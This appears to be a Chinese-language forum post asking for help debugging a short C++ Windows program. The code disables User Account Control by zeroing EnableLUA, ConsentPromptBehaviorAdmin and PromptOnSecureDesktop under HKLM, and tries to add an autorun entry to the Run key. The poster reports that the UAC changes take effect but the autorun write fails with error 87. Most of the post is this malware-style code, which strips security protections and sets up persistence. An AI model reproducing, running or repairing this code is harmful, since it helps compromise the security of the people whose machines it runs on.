#include<Windows.h>
#include<winnt.h>
#include<TlHelp32.h>
#include<winreg.h>
#include<WinBase.h>
#include<string>
#include<iostream>
using namespace std;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hin, LPSTR lPst, int ShowCmd)
{
HKEY hkey_0;
HKEY hkey_1;
char path_0[MAX_PATH];
DWORD w[3] = { 0,0,0 };
GetModuleFileName(NULL, path_0, sizeof(path_0));
RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hkey_1);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"), 0, KEY_ALL_ACCESS, &hkey_0);
long o = RegSetValueEx(hkey_1, "POPE", REG_SZ, 0, (BYTE*)"sss", (DWORD)strlen("sss"));
string g = "error:";
g.append(to_string(o));
if (o != ERROR_SUCCESS)
MessageBox(NULL, TEXT(g.c_str()), TEXT("0000"), MB_OK);
RegSetValueEx(hkey_0, "ConsentPromptBehaviorAdmin", 0, REG_DWORD, (BYTE*)&w[0], sizeof(DWORD));
RegSetValueEx(hkey_0, "EnableLUA", 0, REG_DWORD, (BYTE*)&w[1], sizeof(DWORD));
RegSetValueEx(hkey_0, "PromptOnSecureDesktop", 0, REG_DWORD, (BYTE*)&w[2], sizeof(DWORD));
RegCloseKey(hkey_0);
RegCloseKey(hkey_1);
return 0;
}
改写hkey_0的时候没有出错改写成功,但是写hkey_1的时候改写失败,用MessageBox()显示RegSetValueEx()返回值为87,用GetLastError得到的是0,但是没有被写进注册表,注册表里根本找不到这一项
怎么破。。。。